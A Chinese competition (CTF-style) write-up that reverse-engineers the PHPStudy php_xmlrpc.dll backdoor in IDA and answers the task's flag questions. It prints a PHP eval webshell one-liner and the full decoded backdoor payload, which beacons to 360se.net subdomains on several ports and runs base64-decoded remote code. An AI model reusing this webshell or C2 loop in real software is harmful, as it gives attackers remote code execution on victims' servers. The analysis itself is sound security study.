全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析

本文主要是介绍全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

1. 找出靶机桌面上文件夹1中的文件RCEBackdoor.zip,使用静态反编译工具IDA对该压缩包中的程序进行分析,根据提示来分析目标文件,将包含恶意代码基址偏移的范围作为Flag值提交(提交形式:0x1000XXXX-0x1000XXXX);

进入桌面后,解压文件,可以看到有以下文件

在这里插入图片描述

通过我朋友雨泽的中间件漏洞文章和这个php的版本,可以猜到这题考的是前几年phpstudy的后门漏洞

雨泽的文章链接:https://blog.csdn.net/liufdfd/article/details/125507247?spm=1001.2014.3001.5501

phpstudy的后门漏洞大部分存在于:

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

我们打开这个文件目录找到后门文件

然后将文件拖入ida pro 分析

在这里插入图片描述
在这里插入图片描述

我们按shift+f12可以显示出文件内的字符串,在下面可以发现这两个奇怪的字符串

在这里插入图片描述

这个是常用的php小马代码

<?php @eval($_POST['cmd']);?>

可以判断,这个字符串就是后门代码

接下来我们交叉引用,跳转到执行这个代码的段,我们双击这个字符串

在这里插入图片描述

双击这个地方,跳转到执行代码的地方

在这里插入图片描述

在这里插入图片描述

这就是代码执行的地方,我们可以按f5看一下这个段的伪代码

在这里插入图片描述

根据题目,将包含恶意代码基址偏移的范围作为Flag值提交,

我们通过从恶意代码执行的地方往上逆向分析,在这个while循环可以发现

在这里插入图片描述

从最下面的恶意代码执行的伪代码跟着我的思路走

    v10 = &byte_10011B34;v11 = asc_1000C028;v41 = &byte_10011B34;v12 = 0;v13 = asc_1000C028;while ( 1 ){if ( *(_DWORD *)v13 == 39 ){v10[v12] = 92;v41[v12 + 1] = *v11;    //v41获取了v11变量的内存地址v12 += 2;v13 += 8;}else{v10[v12++] = *v11;v13 += 4;}v11 += 4;if ( (int)v11 >= (int)&unk_1000C66C )   //如果v11变量里的值大于1000C66C内存地址里的值break;v10 = v41;   //v10变量=v41变量}spprintf(&v41, 0, "@eval(%s('%s'));", aGzuncompress, v41);     //将@eval(%s('%s'));字符串和aGzuncompress里的值存入V41变量里

我只分析了一下关键地方的代码,其他地方的代码不怎么重要,在分析里可以知道,关键的偏移地址是V11里的值和if对比的1000C66C内存地址里的值

将包含恶意代码基址偏移的范围作为Flag值提交

0x1000C028-0x1000C66C

2. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串拼接的函数名称作为Flag值提交;(提交形式:echo())

这个就简单多了,我们继续在ida里分析

在这里插入图片描述

可以发现,拼接字符串函数名称是

spprintf

3. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于格式化字符串的参数名称作为Flag值提交;(提交形式:%*)

恶意代码如下

@eval(%s('%s'));

由此可知,用于格式化字符串的参数名称是

%s

4. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串传参的参数名称作为Flag值提交;(提交形式:%*)

通过上面的恶意代码和学过c语言的都知道,字符串传参的参数名称是

%s

5. 找出靶机Windows7桌面上文件夹1中的decode.py文件并完善此文件,填写该文件当中空缺的F1、F2、F3、F4四个字符串,将四个字符串拼接后的内容作为Flag值提交

我们打开decode.py文件

在这里插入图片描述

关键的f1,f2,f3,f4代码:

data = zlib.F1(data)
flag = b'F2'
hwrite.write(F3)
hwrite.write(F4)
#Flag=F1.F2.F3.F4

F1是python的zlib模块里的函数

F1:

decompress

F2是程序aGzuncompress变量里的值

在这里插入图片描述

我们双击这个变量进入查看

在这里插入图片描述

F2:

gzuncompress

通过这段代码分析

flag = b'F2'offset = data.find(flag)data = data[offset + 0x10:offset + 0x10 + 0x567*4].replace(b"\x00\x00\x00",b"")decodedata_1 = zlib.F1(data[:0x191])print(hexdump(data[0x191:]))decodedata_2 = zlib.F1(data[0x191:])with open("compres_data1.txt","w") as hwrite:hwrite.write(F3)hwrite.closewith open("compres_data2.txt","w") as hwrite:hwrite.write(F4)hwrite.close

在这里插入图片描述

F3和F4分别为:

str(decodedata_1)和str(decodedata_2)

完整的flag为:

decompress.gzuncompress.str(decodedata_1).str(decodedata_2)

6. 执行decode.py后将生产两个文件,对第二个文件中内容进行分析并解码,将其中出现的端口列表中的所有端口号一招从小到大的顺序依次排列作为Flag值(如:21,22,23,80)提交;

我们填补完程序缺失的代码后执行

从生成的第二个文件里可以发现

@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);if( !$handle ){return "err";}}fwrite($handle, $sendMsg."\n");while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);$info = stream_get_meta_data($handle);if ($info['timed_out']) {break;}}fclose($handle);return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {$n = false;foreach ($ds as $d){$b = false;foreach ($ps as $p){$result = tcpGet($i,$d.".360se.net",$p);if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}}while($n);

端口号从小到大的顺序为:

53,80,8080,20123,40125

这篇关于全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/481418

相关文章

一文深入详解Python的secrets模块

《一文深入详解Python的secrets模块》在构建涉及用户身份认证、权限管理、加密通信等系统时,开发者最不能忽视的一个问题就是“安全性”,Python在3.6版本中引入了专门面向安全用途的secr... 目录引言一、背景与动机:为什么需要 secrets 模块?二、secrets 模块的核心功能1. 基

MyBatis Plus 中 update_time 字段自动填充失效的原因分析及解决方案(最新整理)

《MyBatisPlus中update_time字段自动填充失效的原因分析及解决方案(最新整理)》在使用MyBatisPlus时,通常我们会在数据库表中设置create_time和update... 目录前言一、问题现象二、原因分析三、总结:常见原因与解决方法对照表四、推荐写法前言在使用 MyBATis

Python主动抛出异常的各种用法和场景分析

《Python主动抛出异常的各种用法和场景分析》在Python中,我们不仅可以捕获和处理异常,还可以主动抛出异常,也就是以类的方式自定义错误的类型和提示信息,这在编程中非常有用,下面我将详细解释主动抛... 目录一、为什么要主动抛出异常?二、基本语法:raise关键字基本示例三、raise的多种用法1. 抛

github打不开的问题分析及解决

《github打不开的问题分析及解决》:本文主要介绍github打不开的问题分析及解决,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、找到github.com域名解析的ip地址二、找到github.global.ssl.fastly.net网址解析的ip地址三

Python远程控制MySQL的完整指南

《Python远程控制MySQL的完整指南》MySQL是最流行的关系型数据库之一,Python通过多种方式可以与MySQL进行交互,下面小编就为大家详细介绍一下Python操作MySQL的常用方法和最... 目录1. 准备工作2. 连接mysql数据库使用mysql-connector使用PyMySQL3.

Linux使用scp进行远程目录文件复制的详细步骤和示例

《Linux使用scp进行远程目录文件复制的详细步骤和示例》在Linux系统中,scp(安全复制协议)是一个使用SSH(安全外壳协议)进行文件和目录安全传输的命令,它允许在远程主机之间复制文件和目录,... 目录1. 什么是scp?2. 语法3. 示例示例 1: 复制本地目录到远程主机示例 2: 复制远程主

Mysql的主从同步/复制的原理分析

《Mysql的主从同步/复制的原理分析》:本文主要介绍Mysql的主从同步/复制的原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录为什么要主从同步?mysql主从同步架构有哪些?Mysql主从复制的原理/整体流程级联复制架构为什么好?Mysql主从复制注意

IDEA如何实现远程断点调试jar包

《IDEA如何实现远程断点调试jar包》:本文主要介绍IDEA如何实现远程断点调试jar包的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录问题步骤总结问题以jar包的形式运行Spring Boot项目时报错,但是在IDEA开发环境javascript下编译

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

java -jar命令运行 jar包时运行外部依赖jar包的场景分析

《java-jar命令运行jar包时运行外部依赖jar包的场景分析》:本文主要介绍java-jar命令运行jar包时运行外部依赖jar包的场景分析,本文给大家介绍的非常详细,对大家的学习或工作... 目录Java -jar命令运行 jar包时如何运行外部依赖jar包场景:解决:方法一、启动参数添加: -Xb